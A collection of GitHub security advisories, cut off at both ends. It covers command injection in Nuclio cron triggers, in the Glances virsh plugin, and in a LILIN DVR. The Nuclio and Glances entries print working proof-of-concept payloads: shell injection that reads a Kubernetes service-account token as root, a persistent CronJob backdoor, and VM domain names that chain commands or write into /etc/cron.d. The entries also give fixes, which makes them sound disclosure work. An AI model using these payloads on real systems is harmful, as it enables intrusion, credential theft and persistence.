prerequisites**\n\n```bash\n# kind (Kubernetes-in-Docker)\ncurl -Lo /usr/local/bin/kind \\\n https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64\nchmod +x /usr/local/bin/kind\n\n# Helm\ncurl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash\n```\n\n**Step 2 \u2014 Create isolated kind cluster**\n\n```bash\nkind create cluster --name vul-010\nkubectl cluster-info --context kind-vul-010\n```\n\nExpected output:\n```\nKubernetes control plane is running at https://127.0.0.1:xxxxx\n```\n\n**Step 3 \u2014 Deploy Nuclio (latest 1.15.27)**\n\n```bash\nhelm repo add nuclio https://nuclio.github.io/nuclio/charts\nhelm repo update\n\nkubectl create namespace nuclio\n\nhelm install nuclio nuclio/nuclio \\\n --namespace nuclio \\\n --kube-context kind-vul-010 \\\n --version 0.21.27 \\\n --set dashboard.enabled=true \\\n --set controller.enabled=true\n```\n\nWait for the controller to become ready:\n```bash\nkubectl wait --for=condition=Available deployment/nuclio-controller \\\n -n nuclio --context kind-vul-010 --timeout=120s\n```\n\n**Step 4 \u2014 Create a NuclioProject**\n\n```bash\nkubectl apply --context kind-vul-010 -f - \u003c\u003c\u0027EOF\u0027\napiVersion: nuclio.io/v1beta1\nkind: NuclioProject\nmetadata:\n name: default\n namespace: nuclio\nspec:\n description: \"default project\"\nEOF\n```\n\n**Step 5 \u2014 Prepare a placeholder image for the function deployment**\n\nThe controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:\n\n```bash\n# Tag alpine as the placeholder function image\ndocker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest\nkind load docker-image placeholder-function:latest --name vul-010\n\n# Also load the CronJob runner image (appropriate/curl or any sh-capable image)\ndocker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest\nkind load docker-image appropriate/curl:latest --name vul-010\n```\n\n---\n\n### Exploitation \u2014 Path-A: Header Key Injection\n\n**Step 6 \u2014 Create a NuclioFunction with malicious header key**\n\nThe injection payload in the header key is:\n```\nX-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \"\n```\n\n```bash\nkubectl apply --context kind-vul-010 -f - \u003c\u003c\u0027EOF\u0027\napiVersion: nuclio.io/v1beta1\nkind: NuclioFunction\nmetadata:\n name: vul010-rce-visible\n namespace: nuclio\n labels:\n nuclio.io/project-name: default\nspec:\n image: placeholder-function:latest\n runtime: python:3.9\n handler: main:handler\n build:\n functionSourceCode: \"ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=\"\n triggers:\n cron-inject:\n kind: cron\n attributes:\n schedule: \"*/1 * * * *\"\n event:\n headers:\n X-Normal: safe-value\n \u0027X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \"\u0027: marker\n minReplicas: 1\n maxReplicas: 1\nEOF\n```\n\n**Step 7 \u2014 Trigger the controller to create the CronJob**\n\n```bash\nkubectl patch nucliofunction vul010-rce-visible -n nuclio \\\n --context kind-vul-010 \\\n --type=merge \\\n -p \u0027{\"status\":{\"state\":\"waitingForResourceConfiguration\"}}\u0027\n```\n\nWait ~10 seconds for the controller to reconcile, then list CronJobs:\n```bash\nkubectl get cronjob -n nuclio --context kind-vul-010\n```\n\nExpected output:\n```\nNAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGE\nnuclio-cron-job-d84tg6lmuaqc73arn15g */1 * * * * False 0 \u003cnone\u003e 12s\n```\n\n**Step 8 \u2014 Inspect the generated CronJob command (static confirmation)**\n\n```bash\nCJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \\\n -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl get cronjob \"$CJ_NAME\" -n nuclio --context kind-vul-010 \\\n -o jsonpath=\u0027{.spec.jobTemplate.spec.template.spec.containers[0].args}\u0027 \\\n | python3 -m json.tool\n```\n\nActual output from verification:\n```json\n[\n \"/bin/sh\",\n \"-c\",\n \"curl --silent --header \\\"X-Inject\\\"; echo \\\"===RCE_CONFIRMED===\\\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \\\": marker\\\" --header \\\"X-Normal: safe-value\\\" --header \\\"X-Nuclio-Invoke-Trigger: cron\\\" --header \\\"X-Nuclio-Target: vul010-rce-visible\\\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused\"\n]\n```\n\nThe injected commands are clearly embedded between the shell-separated statements.\n\n**Step 9 \u2014 Manually trigger a CronJob run (dynamic confirmation)**\n\n```bash\nkubectl create job --from=cronjob/\"$CJ_NAME\" \\\n vul010-rce-proof -n nuclio --context kind-vul-010\n\n# Wait for the pod to complete\nkubectl wait pod -n nuclio --context kind-vul-010 \\\n -l job-name=vul010-rce-proof \\\n --for=condition=Ready --timeout=30s 2\u003e/dev/null || true\n\nPOD=$(kubectl get pods -n nuclio --context kind-vul-010 \\\n -l job-name=vul010-rce-proof -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl logs \"$POD\" -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\n/bin/sh: curl: not found\n===RCE_CONFIRMED===\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\neyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...\n```\n\n- Line 1: `curl` exits immediately at `\"X-Inject\"` (no curl binary in alpine)\n- Line 2: `echo \"===RCE_CONFIRMED===\"` executes \u2014 injection confirmed\n- Line 3: `id` executes \u2014 container runs as `uid=0 (root)`\n- Line 4: `cat .../token | head -c 50` exfiltrates the first 50 bytes of the K8s SA token\n\n---\n\n### Exploitation \u2014 Path-B: Body Command Substitution\n\n**Step 10 \u2014 Create a NuclioFunction with malicious event body**\n\n```bash\nkubectl apply --context kind-vul-010 -f - \u003c\u003c\u0027EOF\u0027\napiVersion: nuclio.io/v1beta1\nkind: NuclioFunction\nmetadata:\n name: vul010-body-inject\n namespace: nuclio\n labels:\n nuclio.io/project-name: default\nspec:\n image: placeholder-function:latest\n runtime: python:3.9\n handler: main:handler\n build:\n functionSourceCode: \"ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=\"\n triggers:\n cron-body:\n kind: cron\n attributes:\n schedule: \"*/1 * * * *\"\n event:\n body: \"$(id 1\u003e\u00262; echo BODY_INJECTION_PROOF)\"\n minReplicas: 1\n maxReplicas: 1\nEOF\n\nkubectl patch nucliofunction vul010-body-inject -n nuclio \\\n --context kind-vul-010 \\\n --type=merge \\\n -p \u0027{\"status\":{\"state\":\"waitingForResourceConfiguration\"}}\u0027\n```\n\n**Step 11 \u2014 Verify CronJob command (static)**\n\n```bash\nsleep 15\nCJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \\\n -l \"nuclio.io/function-name=vul010-body-inject\" \\\n -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl get cronjob \"$CJ_NAME_B\" -n nuclio --context kind-vul-010 \\\n -o jsonpath=\u0027{.spec.jobTemplate.spec.template.spec.containers[0].args}\u0027 \\\n | python3 -m json.tool\n```\n\nActual output from verification:\n```json\n[\n \"/bin/sh\",\n \"-c\",\n \"echo \\\"$(id 1\u003e\u00262; echo BODY_INJECTION_PROOF)\\\" \u003e /tmp/eventbody.out \u0026\u0026 curl --silent --header \\\"X-Nuclio-Invoke-Trigger: cron\\\" --header \\\"X-Nuclio-Target: vul010-body-inject\\\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ...\"\n]\n```\n\n`$()` is present unescaped inside a double-quoted string passed to `/bin/sh -c`.\n\n**Step 12 \u2014 Dynamic execution**\n\n```bash\nkubectl create job --from=cronjob/\"$CJ_NAME_B\" \\\n vul010-body-proof -n nuclio --context kind-vul-010\n\nPOD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \\\n -l job-name=vul010-body-proof -o jsonpath=\u0027{.items[0].metadata.name}\u0027)\n\nkubectl logs \"$POD_B\" -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n/bin/sh: curl: not found\n```\n\n`id` ran as root via `$()` expansion before `curl` was even attempted.\n\n---\n\n### Persistence Verification\n\n**Step 13 \u2014 Confirm CronJob has no ownerReferences**\n\n```bash\nkubectl get cronjob \"$CJ_NAME\" -n nuclio --context kind-vul-010 \\\n -o jsonpath=\u0027{.metadata.ownerReferences}\u0027\n```\n\nExpected: empty (no output)\n\n**Step 14 \u2014 Simulate controller crash during function deletion**\n\n```bash\n# Stop the controller\nkubectl scale deployment nuclio-controller -n nuclio \\\n --context kind-vul-010 --replicas=0\n\n# Delete the function\nkubectl delete nucliofunction vul010-rce-visible -n nuclio \\\n --context kind-vul-010\n\nsleep 5\n\n# Function is gone \u2014 CronJob remains\nkubectl get nucliofunction -n nuclio --context kind-vul-010\nkubectl get cronjob -n nuclio --context kind-vul-010\n```\n\nActual output from verification:\n```\n# NuclioFunctions:\nNAME AGE\nvul010-body-inject2 2m30s\n(vul010-rce-visible deleted \u2014 not listed)\n\n# CronJobs:\nNAME SCHEDULE SUSPEND ACTIVE\nnuclio-cron-job-d84tj8lmuaqc73arn170 */1 * * * * False 0\n(CronJob belonging to the deleted function \u2014 still running)\n```\n\n**Step 15 \u2014 Execute the persistent backdoor**\n\n```bash\nkubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \\\n vul010-persist-backdoor -n nuclio --context kind-vul-010\n\nkubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010\n```\n\nActual pod log output from verification:\n```\n/bin/sh: curl: not found\nPERSISTENT_BACKDOOR_ACTIVE\n: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...\n```\n\nThe injected command executes after the source function has been deleted.\n\n---\n\n### Cleanup\n\n```bash\nkubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2\u003e/dev/null\nkubectl delete cronjob --all -n nuclio --context kind-vul-010 2\u003e/dev/null\nkind delete cluster --name vul-010\n```\n\n---\n\n## Impact\n\n**Remote Code Execution**: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.\n\n**Runs as root**: Every CronJob pod confirmed running as `uid=0(root)` during verification.\n\n**ServiceAccount token exfiltration**: The pod\u0027s mounted SA token (`/var/run/secrets/ kubernetes.io/serviceaccount/token`) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected `curl` call. This token enables:\n- Enumeration of Kubernetes API resources in the `nuclio` namespace\n- In misconfigured clusters, cluster-wide API access\n\n**Persistent backdoor**: The CronJob resource has no `ownerReferences` and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker\u0027s commands on the configured schedule (minimum every 1 minute) \u2014 persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.\n\n**Cloud environment lateral movement**: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.\n\n---\n\n## Severity\n\n**Critical \u2014 CVSS 3.1 Score: 9.9**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n```\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector | Network | Dashboard is network-accessible |\n| Attack Complexity | Low | No preconditions; straightforward payload |\n| Privileges Required | None | NOP auth is the default configuration |\n| User Interaction | None | Fully automated via API |\n| Scope | Changed | Impact crosses pod boundary into cluster |\n| Confidentiality | High | SA token, secrets readable |\n| Integrity | High | Arbitrary command execution as root |\n| Availability | High | Persistent CronJob can exhaust cluster resources |\n\n---\n\n## Affected Versions\n\nAll Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.\n\n- **Confirmed affected**: 1.15.27 (latest as of 2026-05-17, dynamically verified)\n- **Earliest affected**: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)\n\n---\n\n## Patched Versions\n\nhttps://github.com/nuclio/nuclio/releases/tag/1.16.4\n\n---\n\n## Workarounds\n\n1. **Network-level restriction**: Place the Nuclio Dashboard behind an authenticated\n reverse proxy or restrict port 8070 to trusted networks only. This limits who can\n submit function specifications.\n\n2. **Disable cron triggers**: If cron trigger functionality is not required, avoid creating\n functions with `kind: cron` triggers.\n\n3. **RBAC restriction**: Remove the `batch` API group permission from the Nuclio controller\n ServiceAccount to prevent CronJob creation. Note: this disables cron trigger\n functionality entirely.\n\nNone of the above eliminate the root cause; they only reduce exposure.\n\n---\n\n## Resources\n\n- Vulnerable file: `pkg/platform/kube/functionres/lazy.go`\n - Path-A: line 2150 \u2014 header key interpolation\n - Path-B: lines 2188-2189 \u2014 body interpolation with `strconv.Quote`\n - Execution sink: line 2212 \u2014 `Args: []string{\"/bin/sh\", \"-c\", curlCommand}`\n- Go `strconv.Quote` documentation: does not escape `$`, `(`, `)`, or backticks\n- CWE-78: Improper Neutralization of Special Elements used in an OS Command\n- CVSS 3.1 Calculator: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`\n\n---\n\n## Remediation\n\n**P0 \u2014 Eliminate the shell layer (preferred fix)**\n\nReplace the `/bin/sh -c \u003cstring\u003e` invocation with an exec-format argument list. This\nremoves shell interpretation entirely:\n\n```go\n// Current (vulnerable): lazy.go:2212\nArgs: []string{\"/bin/sh\", \"-c\", curlCommand}\n\n// Fixed: build curl args as a []string slice\nfunc buildCurlArgs(headers map[string]string, body, address string) []string {\n args := []string{\"curl\", \"--silent\"}\n for k, v := range headers {\n args = append(args, \"--header\", k+\": \"+v)\n }\n if body != \"\" {\n args = append(args, \"--data\", body)\n }\n args = append(args, \"--retry\", \"10\", \"--retry-delay\", \"1\",\n \"--retry-max-time\", \"10\", \"--retry-connrefused\", address)\n return args\n}\n\n// Container spec:\nContainer{\n Command: nil,\n Args: buildCurlArgs(headersMap, eventBody, functionAddress),\n}\n```\n\nWith exec format, each argument is passed directly to the process without shell\ninterpretation. No quoting or escaping is needed.\n\n**P1 \u2014 Shell-safe quoting (fallback if shell is required)**\n\nIf the shell invocation must be retained, apply proper POSIX shell quoting to all\nuser-supplied values before interpolation. The equivalent of Python\u0027s `shlex.quote`\nmust be implemented in Go:\n\n```go\nfunc shellQuote(s string) string {\n return \"\u0027\" + strings.ReplaceAll(s, \"\u0027\", \"\u0027\\\\\u0027\u0027\") + \"\u0027\"\n}\n```\n\nApply to both `headerKey`, `headerValue`, and `eventBody` before inserting into the\ncommand string.",
"id": "GHSA-v5px-423j-pf7p",
"modified": "2026-07-08T20:24:20Z",
"published": "2026-07-08T20:24:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nuclio/nuclio/security/advisories/GHSA-v5px-423j-pf7p"
},
{
"type": "WEB",
"url": "https://github.com/nuclio/nuclio/commit/3356b86a8bfab3f960aa420310ebff765df9dede"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuclio/nuclio"
},
{
"type": "WEB",
"url": "https://github.com/nuclio/nuclio/releases/tag/1.16.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE"
}
GHSA-V5R2-QH84-FJX5
Vulnerability from github – Published: 2026-06-22 21:14 – Updated: 2026-06-22 21:14Summary
The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.
Details
Affected file: glances/plugins/vms/engines/virsh.py
Direct URLs (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185 - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204
The vulnerable calls are on lines 185 and 204:
# line 185 (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')
# line 204 (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')
domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().
secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:
# glances/secure.py
def secure_popen(cmd):
ret = ''
for c in cmd.split('&&'): # '&&' → two separate processes
ret += __secure_popen(c)
return ret
def __secure_popen(cmd):
for sub_cmd in cmd.split('|'): # '|' → stdin/stdout piped
p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
# '>' is split separately for file redirection
By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
All three injection operators were verified:
| Operator | Effect | Confirmed |
|---|---|---|
&& |
Second command executes after the virsh call | Yes |
\| |
Output of virsh piped to injected command | Yes |
> |
virsh output redirected to arbitrary file | Yes |
PoC
Special configuration required
- Glances must be configured to monitor a KVM/QEMU hypervisor: the
vmsplugin must be enabled and/usr/bin/virshmust be installed and executable. - The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the
libvirtgroup, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account). - No custom
glances.confsettings are needed beyond a working virsh setup.
Step 1 — Create a VM with a crafted domain name
Using the && operator to chain a second command:
<domain type="kvm">
<name>productionDB && touch /tmp/glances_pwned</name>
<memory>131072</memory>
<vcpu>1</vcpu>
<os><type arch="x86_64">hvm</type></os>
</domain>
virsh define evil-domain.xml
Step 2 — Start Glances with KVM monitoring enabled
glances # or: glances -s / glances -w
On the next monitoring cycle Glances calls:
virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"
which secure_popen() splits into two processes:
1. virsh domstats --nowait productionDB
2. touch /tmp/glances_pwned
Step 3 — Verify execution
ls -la /tmp/glances_pwned # file will exist, owned by the Glances user
Pipe injection (|) example
Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"
The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.
File-write injection (>) example
Domain name: "productionDB > /etc/cron.d/glances_backdoor"
The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.
Minimal Python reproduction (no VM required)
import sys
sys.path.insert(0, '/path/to/glances') # adjust to local clone
from glances.secure import secure_popen
# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`
Impact
Vulnerability type: Command Injection (CWE-78)
Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.
Impact:
- Confidentiality: Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.
- Integrity: Full — file-write injection (>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).
- Availability: Full — the Glances process can be terminated or the host disrupted through the injected commands.
In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.
Suggested Fix
Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:
# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE
result = run(
[VIRSH_PATH, 'domstats', '--nowait', domain],
stdout=PIPE, stderr=PIPE, timeout=5
)
Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.
As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.
Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46606"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-22T21:14:06Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `\u0026\u0026`, `|`, and `\u003e` as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances \u2014 commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185 (update_stats)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}\u0027)\n\n# line 204 (update_title)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}\u0027)\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59\u201378 in the same file); no sanitisation is applied to it at any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`. It explicitly splits the command string on `\u0026\u0026`, `|`, and `\u003e` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n ret = \u0027\u0027\n for c in cmd.split(\u0027\u0026\u0026\u0027): # \u0027\u0026\u0026\u0027 \u2192 two separate processes\n ret += __secure_popen(c)\n return ret\n\ndef __secure_popen(cmd):\n for sub_cmd in cmd.split(\u0027|\u0027): # \u0027|\u0027 \u2192 stdin/stdout piped\n p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n # \u0027\u003e\u0027 is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`. The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `\u0026\u0026` | Second command executes after the virsh call | Yes |\n| `\\|` | Output of virsh piped to injected command | Yes |\n| `\u003e` | virsh output redirected to arbitrary file | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 \u2014 Create a VM with a crafted domain name**\n\nUsing the `\u0026\u0026` operator to chain a second command:\n\n```xml\n\u003cdomain type=\"kvm\"\u003e\n \u003cname\u003eproductionDB \u0026amp;\u0026amp; touch /tmp/glances_pwned\u003c/name\u003e\n \u003cmemory\u003e131072\u003c/memory\u003e\n \u003cvcpu\u003e1\u003c/vcpu\u003e\n \u003cos\u003e\u003ctype arch=\"x86_64\"\u003ehvm\u003c/type\u003e\u003c/os\u003e\n\u003c/domain\u003e\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 \u2014 Start Glances with KVM monitoring enabled**\n\n```bash\nglances # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB \u0026\u0026 touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 \u2014 Verify execution**\n\n```bash\nls -la /tmp/glances_pwned # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`\u003e`) example**\n\nDomain name: `\"productionDB \u003e /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027) # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = \u0027productionDB \u0026\u0026 id\u0027\nresult = secure_popen(f\u0027/bin/echo domstats --nowait {domain}\u0027)\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights \u2014 a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full \u2014 arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full \u2014 file-write injection (`\u003e`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full \u2014 the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`\u0027s operator splitting logic:\n\n```python\n# virsh.py \u2014 replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n [VIRSH_PATH, \u0027domstats\u0027, \u0027--nowait\u0027, domain],\n stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `\u0026\u0026`, `|`, `\u003e`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---",
"id": "GHSA-v5r2-qh84-fjx5",
"modified": "2026-06-22T21:14:06Z",
"published": "2026-06-22T21:14:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py"
}
GHSA-V5X6-VVFR-6V34
Vulnerability from github – Published: 2026-01-12 06:30 – Updated: 2026-01-12 06:30Certain DVR/NVR models developed by Merit LILIN has a OS Command Injection vulnerability, allowing authenticated remote attackers to inject arbitrary OS commands and execute them on the device.
{
"affected": [],
"aliases": [
"CVE-2026-0854"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-12T06:16:11Z",
"severity": "HIGH"
},
"details": "Certain DVR/NVR models developed by Merit LILIN has a OS Command Injection vulnerability, allowing authenticated remote attackers to inject arbitrary OS commands and execute them on the device.",
"id": "GHSA-v5x6-vvfr-6v34",
"modified": "2026-01-12T06:30:14Z",
"published": "2026-01-12T06:30:14Z",
"references": [
{
